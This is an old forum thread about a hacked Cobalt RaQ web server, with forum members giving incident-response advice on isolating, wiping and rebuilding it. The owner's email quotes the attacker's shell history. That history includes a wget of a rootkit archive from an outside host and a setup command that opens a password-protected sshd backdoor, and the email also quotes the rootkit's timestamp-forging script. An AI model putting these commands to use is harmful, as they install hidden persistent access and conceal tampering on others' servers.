Ha><0red server

[doh_boy]

hi, my apologies if this is in the wrong forum (web dev maybe) but my mates server has had a root-kit installed on his linux server. He says a backdoor has been installed and viruses introduced.

Any help and/or advice you could lend would be great.

 

[doh_boy]

here's his email

If anyone's remotely interested in the crap that comes with havin a server hacked.. read on.. =====================================
Hi,

Wondering if any1 has time to help with a hacked raq? I'm not the most experienced sysadmin, so hopefully this can be some good learning for me, if anyone's willing to share! Apologies for the long email, but if any1 can read it I'd appreciate it soo much

It’s a Raq4i 512mb. It got hacked through the flawed SHP package Sun shipped. I hadn’t yet applied the SHP-remove package.

You'll see the extent of the break-in later, but the only actual symptom is mail sent using my server as SMTP never arrives. Local user's mail is delivered OK. SMTP doesn't give errors; it accepts mail but doesn't deliver it.

The hack happened Monday morning at 05.00. Someone got in and executed the following, taken from BASH history (why didn't they clean this up?):

------------------------ START SNIP -----------------------------

{.{bash_history,nsr},b{in,oot},dev,etc,gmon.out,home,l{ib,ost+found},mnt
,nsr,opt,proc,root,s{bin,etup},tmp,usr,var$
hostname
cd /usr/sbin
mkdir tmp
cd tmp
pwd
wget http://www.tk-pttuntex.com/~zen/file/tutorial/rkid.tar.gz
tar -zxf rkid.tar.gz
cd rkid
./setup angina 35353
exit
------------------------ END SNIP -----------------------------

So they got in to the system, then downloaded rkid.tar.gz. This is a root kit. I downloaded it myself and it calls itself: "shkit-v4-internal release 2002". Amongst other things, there’s three files infected with a couple of viruses: Linux.Lion.Worm and Trojan.Linux.Hacktop. I know this since Norton told me when I downloaded the rkid.tar.gz to my Windows PC. Is there anything I can do about these viruses?

The kit installed a new sshd, running on port 35353 with the pass 'angina'.

I tried this:
/sbin/ipchains -A input -j DENY -p tcp -l -s 0.0.0.0/0 -d my.servers.ip.address/32 35353

I added the ipchains line to the bottom of rc.local to make sure it carries over reboots.

That stopped telnet and SSH on port 35353 from working. Telnet's normally disabled, but had mysteriously become enabled. I disabled it again.

I've stopped access to the hacker's own SSH, and changed the password for admin and root on my 'real' SSH. Is that enough to stop the immediate threat? Or will they have access to my new passwords somehow?

I got the chkrootkit software to check other stuff.
Notable results:

[root chkrootkit-0.37]# ./chkrootkit

Checking `ifconfig'... INFECTED
Checking `login'... INFECTED
Searching for t0rn's v8 defaults... Possible t0rn v8 (or variation) rootkit installed Searching for Showtee... Warning: Possible Showtee Rootkit installed

I installed Portsentry 2. Do I need to add that to my rc.local to make sure it starts up on reboot?

Found in /etc/passwd & /etc/shadow: sbin:x:0:0::/sbin/services:/bin/bash

Seemed to be a user called ‘sbin’ with root privileges? Got rid of it. Should I have done this another way with ‘userdel’ or something? Do I need to restart anything for these changes to be noticed?

System logs aren’t being generated. How can I sort that? Syslogd reports it's already running.

The kit added these lines to rc.sysinit. I removed them, but what did they do?

# Xntps (NTPv3 daemon) startup..
/usr/sbin/xntps -q

And finally..here's all the files the kit backdoor'd:

------------- START SNIP ----------------
# time change bitch

touch -acmr /sbin/ifconfig ifconfig
touch -acmr /bin/ps ps
touch -acmr /bin/ls ls
touch -acmr /bin/login login
touch -acmr /bin/netstat netstat
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
touch -acmr /usr/sbin/lsof lsof
touch -acmr /sbin/syslogd syslogd
touch -acmr /usr/bin/slocate slocate
touch -acmr /usr/bin/dir dir
touch -acmr /usr/bin/md5sum md5sum
touch -acmr /usr/bin/pstree pstree

echo ${RED} baga mare PuiDeDraC jajajaj !!! PuiDeDraC Iz Hackerz!!!

------------- END SNIP --------------------

It looks like the damage is pretty serious. I've taken an SQL backup of the mySQL databases on the server, plus tarballed up the /home/sites directory. If I clean the latter with Norton, order a rebuild from my datacentre, then upload everything back..is that the best way forward?

And did this really all happen just because I didn't apply the SHP-remove package from Sun in time?

Thanks!!

---

 

[Testin da Cable]

tdc is pretty paranoid so...

• take the server off the internet NOW
  the users websites haven't been messed with, nor any databases. you can check that at your leisure ONCE THE SERVER IS OFF THE INTERNET
• put another raq up with the websites and stuff in place but without Sun's [flawed] software that may have caused this
• is the server off the internet yet?
  
  -sigh, I feel for your friend. I've been hacked once. It's not fun.
  
• they haven't cleared bash's history because they're either very stupid or very smart [prolly stupid]. check the other shells too if you have them installed
• blocking with IPCHAINS on the hacked box itself IS NOT A GOOD IDEA. if you can't take the box off the internet put a firewall between it and your outbound connection.
• as to the user "sbin", if it wasn't there before then it's wrong. userdel is a way, but if you don't use password/group/shadow hashdatabases you can vi the files and remove by hand. you don't have to restart, but check if the potentially bad user is logged in or has ever logged in. may not work if your hacker had any kind of a brain.
• check to see what's running [AGAIN, ONLY IF YOU CAN'T TAKE THE BOX OFF THE INTERNET] and turn off anything you don't know
• anything you install has to go into the rc.* files or files that get sourced by them or it won't start at boottime.
• syslog isn't running properly because it's been tainted probably. you may be able to fix this by killing syslogd, renaming the binary, making it non-executable, copying a working syslog binary off of another box into this one and restarting.
• ntp is the network time protocol really. who knows why it's been added. perhaps it's a tainted binary.

now, you have been hacked. tough. take the box off the internet ffs. put a replacement back with the websites, database, etc. after you checked the tarballs [good idea that].
take the tainted, hacked box into a lab and take it apart at your leisure if you want to find out what's happened to it.

if you don't really care -or- after you've found out what went down pull the harddrive and wipe it. write zeros over it twice.

remember, your hacked box is now tainted. as far as you should be concerned it now has ebola. take it off the internet and whipe the drive. once it's fully reinstalled you're ok again. oh, and remember to get rid of that software from sun heh.

also: software like wget, telnet [the daemon, but imo the client too], ftp [again, the daemon but tdc sez the client too] et all SHOULD NOT EXIST ON A PRODUCTION SERVER [k, ftp is debatable but we have scp nowadays heh]. read up on HARDENING SERVERS, IDS and stuff like that. keep the security websites looked at and your software current. you say you aren't the most experienced admin atm but you'll be a damn sight more beardy by the time you're done heh. good luck

 

[Scooba Da Bass]

I've drunk a lot of coffee, but some of that made sense, I'm becoming beardy by association :/

 

[legendario]

TdC is my hero

He's like a unix Mcgyver

 

[doh_boy]

Originally posted by Testin da Cable
Wise words

uh....thats my e-mail you're getting rid there

I've gave him the link to here so if he don't look i'll tell him.

and muchos gracias master Teedee

 

[Scooba Da Bass]

Originally posted by legendario
TdC is my hero

He's like a unix Mcgyver

A Unix McGuyver that smells nice!

 

[pharkie]

Thanks TdC

It was me that Doh_boy posted on behalf of. Thanks for your reply! Was really helpful

The server's still online, but that's cuz all my customers sites are on it. Their websites & email are working OK for the time being. I'm pretty sure the attacker can't get into the system for the moment.

Like you say tho, I can't trust anything the system is telling me any more..and the only thing to do is a reinstall.

I've downloaded all the websites in a big tarball. If I put these files on another Raq and set up all the sites/DNS again.. is there any risk they would compromise the second server?

There's about 30 domains on the server, so this is gonna take some time! Can't think what I'd do if there were 200 sites on it..

SDC isn't really an option since there's nothin as good as CuteFTP for it..and the Mac client support is weak. I'd consider FTP over SSL though like Cute's secure client uses.

 

[Will]

TdC said to check the tarballs, and I'd agre with him there. Its more of a peace of mind thing. And, even though I'm a bit of a novice when it comes to this, I can agree that you need to get that box off the internet as soon as you can, so get checking and get them on some backup hardware if you can. You'll need to low-level format to be sure you've rid yourself of the nasties, so some offline time is needed for this box anyway.

And site by site tarballs might be a good idea...just in case there is a problem.

 

[pharkie]

hmm

The IPCHAINS I used was a freshly downloaded one.. and it does appear to be doing the job i.e. I can't access the port the rootkit installed it's on sshd on.

What should I check in the site tarballs? I'll remove the Linux viruses from them. I'll have to go through reassigning them to the re-created usernames anyway, and that will ensure all the files are owned by non-privileged users. So is there any real risk of something nasty lurking in the site data?

I take it an SQL dump from mySQL can't do much harm.

My current plan is to change the DNS of all the affected domains to the replacement server, wait till that propagates, then take the tainted server offline and wipe it. With it being a Raq, there's a standard process for taking it back to square 1 and my ISP will do that for me (for £150 admittedly).

My ISP kindly sent me a Christmas card today.. lol!

Oh and i thought i'd explain that me & doh_boy were in the TPK Wolfy clan. I still play a bit, under my nick: Mach.

 

[pharkie]

Another thing

Wanted to explain: the reason I'm doin it that way is cuz I only have remote access to my co-located server.. it's in London

So I can't replace my broke Raq with a new Raq on the same IP with the proper settings. I have to transfer everything off, clear system, and transfer everything back.

 

[Testin da Cable]

Re: Thanks TdC

Originally posted by pharkie
It was me that Doh_boy posted on behalf of. Thanks for your reply! Was really helpful
no sweat
The server's still online, but that's cuz all my customers sites are on it. Their websites & email are working OK for the time being. I'm pretty sure the attacker can't get into the system for the moment.
on your own head

Like you say tho, I can't trust anything the system is telling me any more..and the only thing to do is a reinstall.
it's the only thing you can do. I've been there

I've downloaded all the websites in a big tarball. If I put these files on another Raq and set up all the sites/DNS again.. is there any risk they would compromise the second server?
see above. just configure another raq as the hacked box, pump the sites over and boot it with the hacked box's IP as you take the old one down. you'll only be out for a minute or two at the most. call it a system upgrade or something so your customers don't bitch

There's about 30 domains on the server, so this is gonna take some time! Can't think what I'd do if there were 200 sites on it..
go as slow as you can. people in a hurry make silly mistakes

SDC isn't really an option since there's nothin as good as CuteFTP for it..and the Mac client support is weak. I'd consider FTP over SSL though like Cute's secure client uses.

Wanted to explain: the reason I'm doin it that way is cuz I only have remote access to my co-located server.. it's in London
aha, I get it
So I can't replace my broke Raq with a new Raq on the same IP with the proper settings. I have to transfer everything off, clear system, and transfer everything back.
yeh, I see. can't your colo help you out? surely they must have some plan for this stuff? get your files off, clean the virus shite off and put them back in a fresh raq. that's about it really

good luck once again. sorry I can't help you out more.

 

[Testin da Cable]

Originally posted by Scooba Da Bass


A Unix McGuyver that smells nice!

Unix McGuyver, pet detective. For great justice!

 

[Scooba Da Bass]

Admittedly I have been at work for hours, and have drunk a lot of coffee and Red Bulls, but your avatar made me spit Coke everywhere

 

[Testin da Cable]

it rules! Will / Summo rock!


...and I'm proud to bear it as my badge....*wipe tear*